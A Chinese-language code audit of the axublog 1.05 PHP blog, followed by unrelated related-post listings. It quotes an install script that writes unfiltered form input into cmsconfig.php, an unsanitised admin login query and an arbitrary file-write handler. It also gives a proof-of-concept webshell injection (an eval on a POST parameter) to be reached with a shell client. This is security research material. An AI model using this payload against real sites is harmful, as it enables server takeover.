axublog 1.05代码审计
00x1 安装漏洞
install/cmsconfig.php
function step4(){
$root=$_POST["root"];
$dbuser=$_POST["dbuser"];
$dbpsw=$_POST["dbpsw"];
$dbname=$_POST["dbname"];
$tabhead=$_POST["tabhead"];
$ad_user=$_POST["ad_user"];
$ad_psw=$_POST["ad_psw"];
$webname=$_POST["webname"];
$weburl=$_POST["weburl"];
$webinfo=$_POST["webinfo"];
$webkeywords=$_POST["webkeywords"];
$webauthor=$_POST["webauthor"];
这几个都是可控的,并没有进行任何处理。然后传到了$text2,然后又写到了cmsconfig.php当中。
$file="config_empty.php";
$fp=fopen($file,"r"); //以写入方式打开文件
$text2=fread($fp,4096); //读取文件内容
$text2=str_replace('@root@',$root,$text2);
$text2=str_replace('@dbuser@',$dbuser,$text2);
$text2=str_replace('@dbpsw@',$dbpsw,$text2);
$text2=str_replace('@dbname@',$dbname,$text2);
$text2=str_replace('@tabhead@',$tabhead,$text2);
$text2=str_replace('@webname@',$webname,$text2);
$text2=str_replace('@weburl@',$weburl,$text2);
$text2=str_replace('@webinfo@',$webinfo,$text2);
$text2=str_replace('@webkeywords@',$webkeywords,$text2);
$text2=str_replace('@webauthor@',$webauthor,$text2);
$file="../cmsconfig.php"; //定义文件
$fp=fopen($file,"w"); //以写入方式打开文件
fwrite($fp,$text2);
@unlink("goinstall.php");
这个漏洞比较简单,直接在配置信息中填写一句话闭合就可以getshell了。
POC:"@eval($_POST['xishaonian'])
然后菜刀直接连接就cmsconfig.php即可。
注:该漏洞也在后台直接可以插一句话
00x2 SQL注入
ad/admin.php
chkoutpost();
$ad_user=$_POST["ad_user"];
$ad_psw=$_POST["ad_psw"];$ad_psw = authcode(@$ad_psw, 'ENCODE', 'key',);
global $tabhead;
$tab=$tabhead."adusers";
mysql_select_db($tab);
$sql = mysql_query("select * from ".$tab." where adnaa='".$ad_user."'");
很简答可以看到$ad_user没有过滤。直接性导致sql注入。
00x3
<?php
function edit2save(){
global $themepath;
?>
<div class="yj_green" id=full>
<b class="b1"></b><b class="b2"></b><b class="b3"></b><b class="b4"></b>
<div class="boxcontent">
<h2><a href="?">主题管理</a> > <a href="javascript:history.go(-2)">编辑主题</a> > 编辑文件 > <a href="javascript:history.back()">返回</a></h2>
</div>
<div class="t1"><div class="t2">
<?php
$path=$_REQUEST['path'];
$content=stripslashes($_REQUEST['content']);
?>
<p>编辑文件:<?=$path?></p>
<?php
if($path==''){echo'文件路径错误!';exit;} if(file_put_contents ($path, $content)){echo"保存文件成功!";}
else{echo"保存文件失败!";}
?> </div></div>
<b class="b4b"></b><b class="b3b"></b><b class="b2b"></b><b class="b1b"></b>
</div>
axublog 1.05代码审计的更多相关文章
- PHP代码审计05之正则使用不当
前言 根据红日安全写的文章,学习PHP代码审计的第五节内容,题目均来自PHP SECURITY CALENDAR 2017,讲完题目会用一道CTF的题目和实例来加深巩固.这是之前写的,有兴趣可以去看看 ...
- auxblogcms1.0.6|代码审计
这周的审计任务,两天前的任务呀~拖延症呀~ 这次审计一个博客----auxblogcms1.0.6,网上也有所记载,我下面会做个总结. axublog是一款php个人博客系统,小巧强大的PHP+MyS ...
- 代码审计之XiaoCms(后台任意文件上传至getshell,任意目录删除,会话固定漏洞)
0x00 前言 这段时间就一直在搞代码审计了.针对自己的审计方法做一下总结,记录一下步骤. 审计没他,基础要牢,思路要清晰,姿势要多且正. 下面是自己审计的步骤,正在逐步调整,寻求效率最高. 0x01 ...
- axublogcms1.0.6|代码审计
这周的审计任务,两天前的任务呀~拖延症呀~ 这次审计一个博客----auxblogcms1.0.6,网上也有所记载,我下面会做个总结. axublog是一款php个人博客系统,小巧强大的PHP+MyS ...
- [代码审计]XiaoCms(后台任意文件上传至getshell,任意目录删除,会话固定漏洞)
0x00 前言 这段时间就一直在搞代码审计了.针对自己的审计方法做一下总结,记录一下步骤. 审计没他,基础要牢,思路要清晰,姿势要多且正. 下面是自己审计的步骤,正在逐步调整,寻求效率最高. 0x01 ...
- PHP代码审计基础-初级篇
对于php代码审计我也是从0开始学的,对学习过程进行整理输出沉淀如有不足欢迎提出共勉.对学习能力有较高要求,整个系列主要是在工作中快速精通php代码审计,整个学习周期5天 ,建议花一天时间熟悉php语 ...
- ESPCMS-Seay自动加手工代码审计
ESPcms代码审计 源码下载地址:http://yesky.91speed.org.cn/sw/180001_190000/rar/espcms_utf8_5.4.12.05.14.rar 1.自动 ...
- 代码审计系列题目CTFD部署(上)
关于简单部署题目请参考:https://www.cnblogs.com/Cl0ud/p/13783325.html 如果需要进行较复杂部署,可参考本篇 PHP代码审计系列题目的部署,较之前的部署方案, ...
- 代码审计【根据功能点定向审计】BugFree ZSWin重装案例
(哦对了!这些CMS代码不要安装在服务器上,先不说它们用来代码审计本身就是有漏洞的,而且在网上下载下来,也不能保证没有源码是否被篡改而留有后门,就安装在本地进行代码审计的练习即可) 我们先下载BugF ...
随机推荐
- JavaScript日历控件开发 C# 读取 appconfig文件配置数据库连接字符串,和配置文件 List<T>.ForEach 调用异步方法的意外 ef 增加或者更新的习惯思维 asp.net core导入excel 一个二级联动
JavaScript日历控件开发 概述 在开篇之前,先附上日历的代码地址和演示地址,代码是本文要分析的代码,演示效果是本文要实现的效果代码地址:https://github.com/aspwebc ...
- java中的switch case default break
package com.didispace; /** * Created by gmq on 2017/08/07. * * @version 1.0 * @since 2017/08/07 10:4 ...
- asp.net C#取Excel 合并单元格内容
asp教程.net c#取excel 合并单元格内容读取excel数据,填充dataset// 连接字符串 string xlspath = server.mappath("~/www.11 ...
- webservice复杂类型实例
1.准备工作: 概念:SOAP(简单对象访问协议).WSDL(web服务描述语言).XML(可扩展标记语言).axis(阿帕奇可扩展交互系统) (1) 下载axis1.4,将axis1.4中的 ...
- 为什么有时候PHP没有闭合标签结束符 ?>
找了一些资料,大家对PHP闭合标签的总结如下: 好处:如果这个是一个被别人包含的程序,没有这个结束符,可以减少很多很多问题,比如说:header, setcookie, session_start这些 ...
- 启动和停止kafka 及kafka manager
启动kafka: sh /app/pet_kafka_xxxx_cluster/bin/kafka-server-start.sh -daemon /app/pet_kafka_xxxx_cluste ...
- 创建多模块springcloud应用eureka server和client和消费端demo
使用环境是 STS + maven 1 创建父级 项目,springcloud-demo1 new -> maven project -> 按照要求进行配置即可.然后删除 src目录,因为 ...
- Google Mesa概览
Google Mesa的文章:https://research.google.com/pubs/pub42851.html https://gigaom.com/2014/08/07/google- ...
- [tools]hugo&github构建静态网站/百度统计
hugo/github构建网站基本原理 1.hugo是一个静态化的工具,你写md,然后他把md转换成对应样式的html, 2.并给html嵌入百度统计的script.然后你将html放到github上 ...
- 采用Oracle的dbms_obfuscation_toolkit的加密
create or replace function MD5 (vpassword in varchar2) return varchar2 is retval varchar2(32); begin ...